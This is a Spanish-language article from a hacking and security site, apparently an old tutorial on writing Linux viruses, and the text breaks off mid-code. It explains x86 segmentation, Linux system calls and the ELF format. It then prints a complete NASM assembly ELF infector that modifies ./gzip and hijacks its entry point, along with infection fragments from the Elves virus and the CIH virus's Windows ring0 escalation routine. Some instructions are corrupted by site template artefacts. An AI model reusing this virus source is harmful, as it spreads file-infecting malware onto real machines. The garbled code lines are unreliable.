Ultimos Mensajes del Foro

Manual Aleatorio

Reverse telnet
Que es reverse telnet, explicacion y ejemplos y un ejemplo de cuando se puede utilizar esta tecnica.
Leer más...
Virus en linux Imprimir E-mail
Hacking y Seguridad - Malware
Escrito por viesllo   
Introduccion, Infeccion de archivos elf, virus residentes, residencia global en ring0, residencia global en ring3, residencia perprocess

Texto Completo:
       Virus en Linux
       --------------

	  Vicente Esteve LLoret
	  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
	  ----------------------
		 
     1. Introduccion
     2. Infeccion de Archivos ELF.
     3. Virus Residentes.
         3.1 Residencia Global en Ring0
         3.2 Residencia Global en Ring3
         3.3 Residencia Perprocess.


     NOTA: Este articulo se realizo basandose en la version del
           kernel 2.0.34 donde la distribucion de segmentos es
           diferente a actuales versiones como 2.2.XX.
   

     1.Introduccion: Proteccion de memoria.

       La eterna pregunta, ¿Por que no hay virus para linux?.Al parecer a
       la comunidad virica acostumbrada a sistemas en modo Real (DOS) les cuesta
       un poco adaptarse a sistemas en modo protegido. Incluso para win 95/98 
       ,sistemas con importantes problemas de diseño ,existen actualmente poco mas
       de 30 virus donde la mayoria son virus no residentes o infectores de VXD
       (Dispositivos de Ring0).
                Al parecer la respuesta reside en la importante proteccion de
       memoria de Linux.
   
       Sistemas como Win 95/NT utilizan un diseño de memoria con un limitado uso
       de segmentos.En estos sistemas con selectores de Usuario y Kernel se puede
       direccionar todo el espacio virtual ,es decir de 0x00000000 a 0xFFFFFFFF
       (Esto no quiere decir que puedas escribir en toda la memoria ya que las 
       paginas de memoria poseen tambien atributos de proteccion).
       En cambio en Linux el diseño es bastante diferente ,existen 2 zonas bien
       diferenciadas mediante segmentacion ,una zona dedicada a los procesos
       de usuarios que va de 0x00000000 a 0xC0000000 y otra para el kernel
       que va de 0xC0000000 a 0xFFFFFFFF.
       
       Veamos un volcado de registros con el gdb.Al inicio de la ejecucion de
       un comando como el gzip.   
         
 
       (gdb)info registers 
       eax           0x0        0
       ecx           0x1        1
       edx           0x0        0          
       ebx           0x0        0
       ebp           0xbffffd8c     0xbffffd8c
       esi           0xbffffd9c     0xbffffd9c
       edi           0x4000623c     1073766972
       eip           0x8048b10      0x8048b10
       eflags        0x296          662
       cs            0x23           35
       ss            0x2b           43
       ds            0x2b           43           
       es            0x2b           43
       fs            0x2b           43
       gs            0x2b           43

       Podemos ver que linux utiliza el selector para codigo 0x23 
       y para datos 0x2b .Intel utiliza selectores de 16 bits
       los 2 bits menos significativos guardan el RPL (informacion sobre el
       nivel de privilegio de ese selector, Intel implementa 4 anillos de proteccion,
       pero los sistemas operativos actuales como win 95/NT o Linux utilizan 
       unicamente 2, ring0 para el kernel (maximo nivel de privilegio) y ring 3
       para los procesos de usuario).
       el siguiente bit indica donde reside el descriptor de segmento que contiene
       la informacion sobre el segmento, 0 para la GDT (GLOBAL DESCRIPTOR TABLE)
       y 1 para la LDT (LOCAL DESCRIPTOR TABLE).
       Los bits restantes simplemente son un indice a un descriptor de segmento
       que estara en la LDT o en la GDT segun la informacion anterior

         Selector  [14 bits Indice al descriptor] [1 bit GDT/LDT] [2 bits RPL]

       Asi pues si pasamos a binario 0x23 obtenemos

                   [0 0 0 0 0 0 0 0 0 0 0 1 0 0 ] [ 0 ] [ 1 1 ]

       Por lo tanto sabemos que es un selector de ring3 (lo utiliza un proceso),
       y que ademas la informacion sobre ese segmento reside en la GDT
       en la entrada numero 4.
       Si analizamos el descriptor siguiente obtendremos una informacion similar
       pero el descriptor estara en la entrada 5.

       Si vemos el codigo que hay en el kernel en el archivo
       /usr/src/linux/arch/i386/kernel/head.S (desgraciadamente en ensamblador :))
       podemos apreciar la inicializacion de segmentos en linux.

             
/*
 * This gdt setup gives the kernel a 1GB address space at virtual
 * address 0xC0000000 - space enough for expansion, I hope.
 */
ENTRY(gdt)
	.quad 0x0000000000000000	/* NULL descriptor */
	.quad 0x0000000000000000	/* not used */
	.quad 0xc0c39a000000ffff	/* 0x10 kernel 1GB code at 0xC0000000 */
	.quad 0xc0c392000000ffff	/* 0x18 kernel 1GB data at 0xC0000000 */
	.quad 0x00cbfa000000ffff	/* 0x23 user   3GB code at 0x00000000 */
	.quad 0x00cbf2000000ffff	/* 0x2b user   3GB data at 0x00000000 */
	.quad 0x0000000000000000	/* not used */
	.quad 0x0000000000000000	/* not used */
	.fill 2*NR_TASKS,8,0		/* space for LDT's and TSS's etc */
#ifdef CONFIG_APM
	.quad 0x00c09a0000000000	/* APM CS    code */
	.quad 0x00809a0000000000	/* APM CS 16 code (16 bit) */
	.quad 0x00c0920000000000	/* APM DS    data */
#endif

       Como podeis apreciar Linux inicializa 4 segmentos 2 para el kernel
       y 2 para Usuarios segun sean de Datos o Codigo.En cada entrada se guarda
       informacion como la direccion base del segmento y su limite, si esta
       residente en memoria o no, el tipo de segmento, si es codigo de 32 o 16 bits.
       Mientras haya un selector de usuario en el registro DS jamas se podra 
       manejar una direccion superior a 0xC0000000 ya que nos saldriamos de
       la memoria accesible por el segmento ,recibiriamos una señal de SIGSEGV 
       y nuestro proceso terminaria. Por ello si intentamos direccionar memoria
       del kernel que siempre esta en memoria mapeada a partir de la direccion
       0xC0000000 aunque solo sea para una simple lectura, nuestro proceso 
       terminara drasticamente.
       
       Ahora bien, Se que puedo direccionar de 0x00000000 a 0xC0000000 pero
       ¿que puedo modificar?. Realmente aqui es donde empiezan el verdadero 
       mecanismo de proteccion. La memoria se divide en paginas de 4 kb en
       el caso de Intel y cada pagina tiene sus propios atributos si son de
       lectura/escritura , si esta en memoria (ya que puede estar en disco
       temporalmente), si es del kernel etc.
       Toda la informacion sobre las paginas que hay en memoria reside en una
       tabla de paginas que contiene descriptores para cada pagina mapeada en
       memoria. Hay una tabla de paginas para cada proceso en memoria
       , esto hace que cada proceso tenga su propio espacio virtual. Y que
       desde un proceso no se pueda acceder a otro. Por lo tanto la direccion
       0x8040000 puede no contener la misma informacion que la direccion
       0x8040000 de otro proceso, ya que la tabla de paginas es diferente y
       la pagina que empieza en esa direccion virtual puede tener asociada  
       direcciones fisicas diferentes de un proceso a otro.
       Esto hace posible cargar programas en la misma direccion de memoria
       y realmente es lo que se hace. Windows 95/98 y Linux lo hacen.En linux
       la direccion de carga normal es  0x08040000 mientras que en Windows 
       es la 0x04000000.

       Esta tabla de paginas esta apuntada por un registro de control
       del procesador el CR3 y por lo tanto cambia con cada cambio de
       contexto ,modificando tambien el espacio virtual del proceso.

       Pero entonces, si un proceso unicamente puede direccionar la memoria 
       perprocess, ¿como consigue ejecutar llamadas a sistema que residen a
       partir de 0xC0000000?
       
       Intel proporciona  mecanismos para poder saltar a ring0 de una forma segura
       a la hora de realizar llamadas a sistema. Intel utiliza 2 metodos.
       Los TRAP GATES y los CALL GATES. Normalmente se utiliza unicamente 
       TRAP GATES (WIN NT/95/98/LINUX), de todas formas creo que algunos sitemas
       unix utilizan CALL GATES para realizar el salto de RINGS.
       
       Los Trap Gates ocupan una entrada en la IDT (tabla de descriptores
       de interrupcion) y permiten el salto a ring0 mediante la generacion de
       una interrupcion, Para ello la direccion de salto definida en la entrada
       de la IDT debe tener un selector de RING0 y el DPL (Descriptor Privilege
       Level) debe ser igual a 3, para que un usuario lo pueda ejecutar.
       En Linux se utiliza la interrupcion 0x80 para el salto, mientras que 
       Windows 95 por ejemplo utiliza la 0x30.
       Veamos el desensamblado de la funcion getpid de la libreria LIBC.
       Para ello crearemos un archivo en c como este:
         
          #include 
          void main()
          {
          getpid();        /* Obtendo el PID del proceso*/
          }
       
       Tras compilarlo , debugeamos el archivo binario con gdb:

       (gdb)disass
       Dump of assembler code for function main:
       0x8048480 
: pushl %ebp 0x8048481 : movl %esp,%ebp 0x8048483 : call 0x8048378 0x8048488 : movl %ebp,%esp 0x804848a : popl %ebp 0x804848b : ret End of assembler dump Como podeis ver la llamada a getpid esta diseñada en Linux ( y en otros sistemas) como una llamada a procedimiento (CALL) a una seccion especial dentro del archivo binario(0x8048378).Alli podremos encontrar un jump a la funcion de libreria que deseemos. Estos jmp los forma en memoria el sistema operativo para realizar los enlaces dinamicos con librerias.Asi cualquier archivo podra ejecutar funciones exportadas por otros , si asi lo indica la informacion de cabecera de los archivos ELF. Sigamos debugeando. (gdb)disass getpid 0x40073000 <__getpid>: pushl %ebp 0x40073001 <__getpid+1>: movl %esp,%ebp 0x40073003 <__getpid+3>: pushl %ebx 0x40073004 <__getpid+4>: movl {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x14,%eax 0x40073009 <__getpid+9>: int {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x80 Estas son las primeras instrucciones de la llamada a libreria getpid. El funcionamiento es simple unicamente se prepara para realizar el salto a ring0. Si hubiera tenido parametros habria preparado los registros del procesador para esos parametros antes de realizar el salto a ring0 Habria puesto el numero de llamada a sistema en el registro EAX y habria llamado a la int 0x80.Como veis el codigo de las librerias reside en la memoria perprocess por debajo de 0xC0000000 por lo que es codigo de ring 3 y carece de privilegios para acceder a puertos a direcciones de memoria privilegiadas etc. Por eso las llamadas a librerias son realmente intermediarias entre las llamadas que realizan los procesos y las llamadas generadas por int {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x80. Todas las llamadas a sistema que necesiten saltar a Ring0 utilizaran la interrupcion 0x80 y por lo tanto como la interrupcion 0x80 tiene un unico descriptor se saltara siempre a la misma direccion de memoria. Eso hace necesario la utilizacion del registro EAX para indicar el numero de funcion que queremos realizar. Ya en ring0 el kernel evalua el valor de EAX para saber que funcion tiene que satisfacer y segun su valor saltara a una funcion o a otra utilizando una tabla interna de punteros a funcion llamada sys_call_table. La lista de funciones aceptadas mediante la int 0x80 esta en el archivo /usr/include/sys/syscall.h, Con la ejecucion de una int 0x80 el procesador cambiara el selector de codigo activo.Pasaremos del selector 0x23 al 0x10 y por lo tanto pasaremos de direccionar de 0x0-0xC0000000 a 0xC0000000-0xFFFFFFFF. El siguiente metodo de salto raramente utilizado consiste en una entrada en la GDT o excepcionalmente en la LDT. Alli definiremos lo que se denomina un CALL GATE que permite saltos hacia rings de mayor privilegio mediante la instruccion CALL FAR o JMP FAR de ensamblador. 2. Infeccion de Archivos ELF Existen 2 formatos de ejecutables en linux a.out y ELF, sin embargo actualmente casi todos los ejecutables y librerias de linux utilizan el segundo formato. El formato ELF es bastante versatil y contiene informacion para poder manejar aplicaciones bajo diferentes procesadores. Contiene informacion sobre el procesador en el que fue compilado el ejecutable o si ha de utilizar little endian o big endian. Como es un formato para procesadores en modo extendido, ademas de informacion sobre las secciones fisicas que hay en el archivo, hay informacion sobre como ha de mapear el SO el programa en memoria. El archivo ELF consta de una Primera estructura que ocupa los 0x24 primeros bytes del ejecutable, y que contiene entre otras cosas una marca 'ELF' para indicar que se trata de un ejecutable con formato ELF, el tipo de procesador, la base address que es la direccion virtual de la primera instruccion que se ejecutara en el archivo , y luego 2 punteros a 2 tablas . La primera es el Program Header(situada fisicamente despues del ELF header) conteniendo entradas con informacion sobre como se mapeara en memoria el archivo. Cada entrada contendra el tamaño de cada segmento tanto en memoria como en el archivo,tambien la direccion de inicio del segmento. La siguiente tabla es la Section Header y esta justo al final del archivo. Contendra informacion sobre cada seccion logica, tendra tambien atributos de proteccion aunque esta informacion no se utilizara para mapear el codigo del archivo en memoria. Con el comando del gdb , "maintenance info sections" se pude ver la estructura de secciones en el archivo junto con los atributos de proteccion de cada seccion. Si os fijais todas las seccions de solo lectura se situan las primeras, y las de lectura escritura se situan todas juntas al final. Esto es necesario ya que que las secciones de codigo se mapean en memoria a la vez en paginas de memoria consecutivas mediante una entrada en el Program Header, y las de datos se mapean a continuacion utilizando otra entrada en la Program Header. Por eso secciones que tienen los mismos atributos de proteccion podran compartir paginas de memoria, mientra que secciones que tengan diferentes atributos no podran. Con esto se evita la fragmentacion interna en ejecutables, ya que si cada seccion tuviese que mapearse por separado la ultima pagina de la seccion nunca estaria llena, y el espacio sobrante se desperdiciaria. Fijaos tambien que la ultima seccion de solo lectura no comparte pagina de memoria con la primera pagina de lectura/escritura.. El volcado de esta instruccion para un comando como el gzip seria el siguiente (gdb)maintenance info sections Exec file: '/bin/gzip', file type elf32-i386. 0x080480d4->0x080480e7 at 0x000000d4: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS 0x080480e8->0x08048308 at 0x000000e8: .has ALLOC LOAD READONLY DATA HAS_CONTENTS 0x08048308->0x08048738 at 0x00000308: .dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS 0x08048738->0x08048956 at 0x00000738: .dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS 0x08048998->0x08048b08 at 0x00000958: .rel.bss ALLOC LOAD READONLY DATA HAS_CONTENTS 0x08048b10->0x08048b18 at 0x00000b10: .init ALLOC LOAD READONLY CODE HAS_CONTENTS 0x08048b18->0x08048e08 at 0x00000b18: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS 0x08048e10->0x08050dac at 0x00000e10: .text ALLOC LOAD READONLY CODE HAS_CONTENTS 0x08050db0->0x08050db8 at 0x00008db0: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS 0x08050db8->0x08051f25 at 0x00008db8: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS 0x08052f28->0x08053960 at 0x00009f28: .data ALLOC LOAD DATA HAS_CONTENTS 0x08053960->0x08053968 at 0x0000a960: .ctors ALLOC LOAD DATA HAS_CONTENTS 0x08053968->0x08053968 at 0x0000a968: .dtors ALLOC LOAD DATA HAS_CONTENTS 0x08053970->0x08053a34 at 0x0000a970: .got ALLOC LOAD DATA HAS_CONTENTS 0x08053a34->0x08053abc at 0x0000aa34: .dynamic ALLOC LOAD DATA HAS_CONTENTS 0x08053abc->0x080a4078 at 0x0000aabc: .bss ALLOC 0x00000000->0x00000178 at 0x0000aabc: .comment READONLY HAS_CONTENTS 0x00000178->0x000002b8 at 0x0000ac34: .note READONLY HAS_CONTENTS Fijaos en el curioso salto entre las seccion .rodata y .data debido a lo expuesto anteriormente.Este comando permite visualizar como estara en memoria el programa, pero su informacion no es relevante para la carga. Nisiquiera sera necesario modificar la section header para insertar mas codigo ejecutable en el archivo. El program header es el verdadero informador en el proceso de carga. Normalmente el program header contiene 5 entradas aunque es posible insertar mas. La primera carga el program header, la segunda hace referencia a una string con la rutina y nombre del interprete que sera la libreria encargada de crear la imagen en memoria del proceso (normalmente ld-linux-so.1) La tercera carga todas las secciones de solo-lectura, las que se encuentran en las primeras entradas de la section header. La cuarta carga las secciones de lectura/escritura y la quinta carga la seccion .dynamic con informacion necesaria para el proceso de linkado dinamico. Por lo tanto una solucion para insertar mas codigo ejecutable en un archivo podria consistir en la ampliacion del segmento de datos. Esto es bastante controvertido ya que si copiamos todo el codigo virico al final del ejecutable es decir justo despues de la section header y ampliamos la entrada de la program header correspondiente al segmento de datos. El codigo Virico sobreescribiria una seccion logica del archivo la seccion .bss. Como hemos visto con el volcado del gdb la seccion .bss es la ultima seccion que forma parte del espacio del proceso, contiene el atributo ALLOC,sin embargo no contiene el atributo LOAD por lo que no carga datos del archivo. Esto es debido a que la seccion .bss contiene datos no inicializados todavia por el codigo del hoste.Que el codigo virico se mapee sobre esa seccion no es muy poblematico porque el virus se ejecutara antes del propio huesped por lo que tras la ejecucion del virus , a este le dara igual que el huesped sobreescriba su codigo con datos. Esa seccion en el momento de carga es rellenada con 0 por lo que una mala programacion ,como por ejemplo suponer una variable no inicializada igual a 0, podria poner al descubierto el virus.De todas formas el virus puede evitar esto copiandose a otra zona de memoria y rellenando con 0 su posicion anterior en .bss. Otra posibilidad es crear otra entrada en la program header pero para ello seria necesario desplazar la mayor parte del ejecutable lo que conllevaria demasiado tiempo de infeccion. ;********************************************************************* ; Infeccion de Archivos ELF de linux ;********************************************************************* ; compilar con: ; nasm -f elf hole.asm -o hole.o ; gcc hole.o -o hole [section .text] [global main] hoste: ret main: pusha ; comienzo del virus ; Pusheo todos los parametros call getdelta ; getdelta:pop ebp sub ebp,getdelta mov eax,125 ; modifico los atributos mediante mprotect lea ebx,[ebp+main] ; para poder escribir en paginas protegidas and ebx,0xfffff000 ; redondeo la direccion de main a parag mov ecx,03000h ; lectura|escritura|ejecucion mov edx,07h ; De todas formas teniendo en cuenta que nos vamos a copiar int 80h ; en el segmento de datos esto solo tendra utilidad en la ; la primera generacion mov ebx,01h lea ecx,[ebp+texto] mov edx,0bh call sys_write ;visualizo "hola mundo" con un write en strout mov eax,05 lea ebx,[ebp+archivo] ;abro el archivo a infectar (./gzip) mov ecx,02 ;lectura|escritura int 80h mov ebx,eax ;el handle se guarda en el registro ebx xor ecx,ecx xor edx,edx ;voy al principio del archivo call sys_lseek lea ecx,[ebp+Elf_header] ;leo la cabecera del elf sobre la variable mov edx,24h ;Elf_header call sys_read cmp word [ebp+Elf_header+8],0xDEAD ;Verifico que no estaba jne infectar ;infectado jmp salir infectar: mov word [ebp+Elf_header+8],0xDEAD ;la marca esta en los 2 primeros ;bytes de relleno en la ident structure mov ecx,[ebp+e_phoff] ;e_phoff es un puntero a la program header add ecx,8*4*3 ;obtengo la 3 entrada correspondiente al segmento ;de datos push ecx xor edx,edx call sys_lseek ;voy a esa posicion lea ecx,[ebp+Program_header] ;y leo la entrada mov edx,8*4 call sys_read add dword [ebp+p_filez],0x2000 ;aumento el tamano del segmento ;en memoria y archivo add dword [ebp+p_memez],0x2000 ;el tamaño a sumar tiene que ser superior ;al tamaño del virus ,ya que ademas de copiar ;a memoria el codigo del virus tendremos que copiar la section table ;que se encuentra antes y que por defecto no es mapeada en memoria. ;Se podria desplazar la section table para no tenerla que copiar a memoria ;pero por razones de simplicidad no lo hago pop ecx xor edx,edx call sys_lseek ;vuelvo a la posicion de la entrada lea ecx,[ebp+Program_header] mov edx,8*4 call sys_write ;escribo la entrada ;en el archivo xor ecx,ecx mov edx,02h call sys_lseek ;me voy al final del archivo ;en eax el tamano del file ;que sera el offset fisico del ;virii mov ecx,dword [ebp+oldentry] mov dword [ebp+temp],ecx mov ecx,dword [ebp+e_entry] mov dword [ebp+oldentry],ecx sub eax,dword [ebp+p_offset] add dword [ebp+p_vaddr],eax mov eax,dword [ebp+p_vaddr] ;en eax el nuevo entrypoint mov dword [ebp+e_entry],eax ;Este es el calculo de la nueva direccion de entrada, que apuntara al codigo ;del virus. Para calcular la direccion virtual del virus en memoria muevo el ;puntero al final del archivo mediante lseek con lo que en el registro eax ;tendre el tamaño fisico del archivo (es decir la posicion fisica del virus ;en el archivo). ;Si a esa posicion le resto la posicion fisica del comienzo del segmento de ;datos tendre la posicion del virus respecto al comienzo del segmento de ;datos y si a esta le sumo la direccion virtual del segmento obtendre la ;direccion virtual del virus en memoria. lea ecx,[ebp+main] mov edx,virend-main call sys_write ;escribo el virus al final xor ecx,ecx xor edx,edx call sys_lseek ;me voy al principio lea ecx,[ebp+Elf_header] mov edx,24h call sys_write ;modifico el header ;con el nuevo entrypoint mov ecx,dword [ebp+temp] mov dword [ebp+oldentry],ecx salir: mov eax,06 ;cierro el archivo int 80h popa db 068h ;opcode de un push oldentry dd hoste ;regreso al archivo infectado ret sys_read: ;en ebx necesito el handle del file mov eax,3 int 80h ret sys_write: ;en ebx necesito el handle del file mov eax,4 int 80h ret sys_lseek: ;en ebx necesito el handle del file mov eax,19 int 80h ret dir dd main dw 010h archivo db "./gzip",0 ;el archivo a infectar datos db 0h temp dd 0h ;guardo temporalmente oldentry ;**************** Zona de Datos ************************************** newentry db 00h,00h,00h,00h ;la nueva entrypoint del virii newfentry db 00h,00h,00h,00h myvaddr db 00h,00h,00h,00h texto db 'HOLA MUNDO',0h Elf_header: e_ident: db 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h e_type: db 00h,00h e_machine: db 00h,00h e_version: db 00h,00h,00h,00h e_entry: db 00h,00h,00h,00h e_phoff: db 00h,00h,00h,00h e_shoff: db 00h,00h,00h,00h e_flags: db 00h,00h,00h,00h e_ehsize: db 00h,00h e_phentsize: db 00h,00h e_phnum: db 00h,00h e_shentsize: db 00h,00h e_shnum: db 00h,00h e_shstrndx: db 00h,00h jur: db 00h,00h,00h,00h Program_header: p_type db 00h,00h,00h,00h p_offset db 00h,00h,00h,00h p_vaddr db 00h,00h,00h,00h p_paddr db 00h,00h,00h,00h p_filez db 00h,00h,00h,00h p_memez db 00h,00h,00h,00h p_flags db 00h,00h,00h,00h p_align db 00h,00h,00h,00h Section_entry: sh_name db 00h,00h,00h,00h sh_type db 01h,00h,00h,00h sh_flags db 03h,00h,00h,00h ;alloc sh_addr db 00h,00h,00h,00h sh_offset db 00h,00h,00h,00h sh_size dd (virend-main)*2 sh_link db 00h,00h,00h,00h sh_info db 00h,00h,00h,00h sh_addralign db 01h,00h,00h,00h sh_entsize db 00h,00h,00h,00h virend: Si ejecutamos el archivo en un directorio donte este el gzip obtendremos el siguiente resultado por pantalla. HOLA MUNDO Y si ejecutamos el gzip obtendremos. &gzip HOLA MUNDOgzip: compressed data not written to a terminal. Use -f to force compression. For help, type:gzip -h $ Como veis el codigo virico se ejecuta antes del huesped y despues le devuelve el control a este sin dificultad. Sin embargo existen otros metodos que permiten la infeccion sin necesidad de expandir una seccion de la program header. El virus Staog o el virus Elves utilizan metodos alternativos. El Staog por ejemplo sobreescribe el entrypoint del hoste con el codigo del virus, y el codigo sobreescrito se copia al final del archivo. El virus al tomar el control en el momento de ejecucion abre el archivo (para hacerlo necesita saber el nombre del archivo en ejecucion ,que obtiene de la pila), coge el codigo del virus y crea un archivo temporal en el directorio /tmp. Despues de hacer esto llama a fork y mientras un hilo de ejecucion ejecuta el codigo virico del archivo temporal mediante execve el otro hilo de ejecucion se encarga de copiar codigo en la pila del programa y dar el control a ese codigo que se encargara de reconstruir el codigo del hoste y devolverle el control en el entrypoint. El Elves , sin embargo, creado por Super del grupo 29A, utiliza un metodo mas sofisticado con el que realiza residencia perprocess ,y evita que los archivos infectados aumenten de tamaño (infeccion cavity). NOTA: Para mas informacion sobre la residencia Perprocess y la estructura y utilizacion de la PLT ,ver articulo Sobre Residencia Perprocess. El metodo consiste en introducir el codigo virico dentro de la PLT. La PLT es una estructura imprescindible del ejecutable que permite el linkado dinamico de funciones. Para ello no mueve la PLT a otra parte del ejecutable ni nada parecido, el codigo virico sobreescribe la PLT , pero esta sigue funcionando perfectamente. Como explico en el articulo sobre Residencia Perprocess, hay 2 maneras de realizar una llamada a libreria, mediante el linkador dinamico (cuando no sabemos cual es la direccion de la funcion), o directamente con una entrada especifica para esa funcion en la PLT (cuando en la GOT ya hemos obtenido la direccion). Tras la infeccion del Elves el segundo metodo se desabilita y todas las llamadas se realizan a traves del linkador dinamico.El virus sobreescribe a partir de la segunda entrada dejando la primera entrada intacta (la entrada que realiza el salto al linkador dinamico). Como vemos en el articulo de Resid. Perprocess, una entrada en la plt tiene esta forma. jmp *direccion_de_la_got pushl Entrada_en_la_reloc ;necesario para el L.D. sepa jmp primera_entrada_de_la_plt ;que funcion necesita encontrar Como veis no es un codigo muy optimizado, el primer jmp ocuparia 5 bytes el push otros 5 bytes y el jmp siguiente otros 5 bytes, en total cada entrada tendria 15 bytes. El virus se divide por lo tanto en bloques de 15 bytes de modo que permite una ejecucion secuencial del codigo de una forma normal ,pero en el caso de que se intente saltar al comienzo de una entrada de la PLT, entonces encontrara un jmp entrada_anterior_de_la_plt codificado unicamente con 2 bytes con los opcodes 0xeb,0xee. Veamos un ejemplo virus_start: fake_plt_entry1: pushl %eax pushal call get_delta get_delta: popl %edi enter $Stat_size,{jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x0 movl (Pushl+Pushal+Pushl)(%ebp),%eax .byte 0x83 fake_plt_entry2: .byte 0xeb,0xee leal -0x7(%edi),%esi addl -0x4(%eax),%eax subl %esi,%eax shrl %eax movl %eax,(Pushl+Pushal)(%ebp) .byte 0x83 ;Si ejecutamos estos 3 bytes secuencialmente fake_plt_entry3: ;ejecutaremos los opcodes 0x83,0xeb,0de como si fueran .byte 0xeb,0xde ;una unica instruccion con lo que ejecutaremos la instruccion ;sub ebx,-22 ;Pero al realizar una llamada a sistema se salta a la entrada ;3 de la PLT el procesador encontrar los opcodes 0xeb,0xde ;que es el opcode de un jmp fake_plt_entry2 De este modo cuando se realiza un salto a una entrada de la PLT, el hilo de ejecucion ira encontrado milagrosamente opcodes 0xeb y el hilo de ejecucion ira pegando saltitos hacia atras hasta la etiqueta virus_start. A partir de ahi el virus se ejecutara secuencialmente ejecutando instrucciones basura como sub ebx,-22 que realmente ocultan jmp entrada_plt.Para despues de intentar infectar el primer parametro de cada llamada a sistema realizar un salto a la primera entrada de la PLT realizando el salto al L.D. Recibi el codigo fuente de este virus para testearlo y desgraciadamente en mi version de linux no es funcional. (Debian 2.0.34). Esto es debido a que en su afan por optimizar en espacio el virus realiza el codigo siguiente para apilar la entrada de la reloc y no tener que poner un push valor en cada entrada (con lo que hubiese tenido que fragmentar el virus en trozos mas pequeños). ;este es un codigo generico para apilar la entrada en la seccion ;reloc movl (Pushl+Pushal+Pushl)(%ebp),%eax ; en eax el valor de retorno del CALL INM leal -0x7(%edi),%esi ; en esi el offset del comienzo de la PLT addl -0x4(%eax),%eax ; en eax el valor del INMEDIATO del call subl %esi,%eax ; resto los 2 valores shrl %eax ; en eax tendre la entrada de la reloc movl %eax,(Pushl+Pushal)(%ebp) ; apilo el nuevo valor . El L.D. necesita entradas en la seccion .reloc.plt para saber que direccion es la que necesita resolver. Para ello supone que las entradas consecutivas de la PLT tendran entradas consecutivas en seccion .reloc.plt y es cierto. Si vemos el codigo de cualquier PLT el compilador pone en la primera plt un PUSH 0 en la segunda pllt un PUSH 0x8 en la siguiente un PUSH 0x10 en la siguiente un PUSH 0x18 etc. Esto realmente no es un problema, lo que si es un problema es suponer que todas las llamadas a la PLT se realizan mediante la instruccion en ensamblador CALL INMEDIATO (siendo inmediato un valor de 4 bytes). Cuando realizamos un call en ensamblador el procesador apila el valor de retorno, (es decir la direccion de la siguiente instruccion al CALL). El virus como vemos lee de la pila ese valor , le resta 4 (lo que ocupa el INMEDIATO del call) y le el valor almacenado en esa direccion es decir el INMEDIATO del call. A ese valor le resta la direccion de la plt con lo que obtenemos la diferencia en bytes de la entrada de la PLT a la que hemos llamado y el comienzo de la PLT, y con este valor obtiene el valor de entrada en la seccion reloc con una simple operacion de rotacion. Este metodo es adecuado si unicamente se realizasen llamdas mediante el opcode CALL INMEDIATO . Esto parece ser cierto en versiones modernas del kernel ,pero por ejemplo mi version de linux realiza saltos a la PLT del hoste mediante la instruccion call *ebp, ademas esta instruccion no esta codificada en el hoste sino que la realiza el codigo del linkador dinamico incluso antes de que el hoste reciba el control. (Todavia desconozco el motivo). Por lo demas es un metodo bastante interesante y util 3. Virus Residentes 3.1 Virus con Residencia Global en Ring0 Los Virus residentes en Ring0 son aquellos que consiguen maximos privilengios en el procesador y ya en Ring0 consiguen interceptar las llamadas a sistema realizadas por todos los procesos del sistema. Para conseguir ring0 un proceso de usuario puede intentar realizar varias cosas.Puede intentar modificar la IDT para general un Trap Gate , Modificar la GDT o la LDT para crear un Call Gate o incluso puede parchear codigo que se ejecute en Ring0 para recibir el hilo de ejecucion ya en Ring0. Sin duda parece una tarea dificil, ya que todas esas estructuras estan o deberian estarlo protegidas por el Sistema Operativo. Pero eso no es asi en sistemas como Windows 95 donde codigo como este (utilizado por el virus CIH) permite saltar a ring0 sin dificultad. .586p .model flat,STDCALL extrn ExitProcess:PROC .data idtaddr dd 00h,00h .code ;************* Comienzo del Codigo para conseguir Ring0 ************* startvirii: sidt qword ptr [idtaddr] ;obtengo limite y dir. base de la IDT mov ebx,dword ptr [idtaddr+2h] ;en ebx la base add ebx,8d*5h ;modifico la int 5h por lo que me voy a ;su entrada en la IDT lea edx,[ring0code] ;en edx estar  el offset de ring0code push word ptr [ebx] ;modifico el offset de la entrada de la IDT mov word ptr [ebx],dx ;para que cuando se genere la int 5h shr edx,16d ;salte a la direccion ring0code. push word ptr [ebx+6d] mov word ptr [ebx+6d],dx int 5h ;genero la excepci¢n mov ebx,dword ptr [idtaddr+2h] ;restauro el offset de la add ebx,8d*5h ;entrada en la IDT pop word ptr [ebx+6d] pop word ptr [ebx] Push LARGE -1 call ExitProcess ring0code:pushad ;Codigo que se ejecuta en ring0 popad salgoring0:iret endvirii: end: end startvirii ¿Que hace posible que este codigo funcione en Windows? La respuesta es simple , en primer lugar windows puede direccionar mediante selectores de usuario la memoria del kernel, ademas aunque parezca mentira carece de proteccion mediante paginacion en direcciones superiores a 0xC0000000 que corresponde como en linux a codigo que se ejecuta en ring0. Por lo tanto si podemos direccionar la memoria de la IDT y si ademas podemos escribir en ella.El salto a ring0 es facil. En este ejemplo hemos elegido la interrupcion 0x5 porque ya es un Trap Gate en Windows ,por eso unicamente modificamos la entrada de la IDT para que en vez de saltar a la direccion de memoria asignada por el windows se salte a nuestra etiqueta ring0code dentro de la memoria perprocess de nuestro proceso. En Linux nisiquiera es posible direccionar la memoria de Usuario mediante selectores de Ring0 por lo que el salto tampoco se podria realizar en caso de que pudiesemos direccionar la memoria del kernel y la proteccion mediante paginacion estuviese desactivada , la modificacion de la IDT no seria suficiente. Ya que si modificamos la entrada 5h de la IDT para generar un Trap gate que salte a la direccion de nuestro proceso "ring0code" no se podria utilizar el selector de ring0 de linux (0x10) En la IDT encontrariamos la direccion 0x10:ring0code para realizar el salto Pero esa direccion no apunta a la memoria perprocess ya que la direccion base del segmento 0x10 es 0xC0000000 realmente se saltaria a la direccion 0xC0000000+ring0code. Veamos donde reside la IDT en Linux. Compilemos el siguiente codigo con el NASM. [extern puts] [global main] [SECTION .text] main: sidt [datos] ;obtengo en la variable 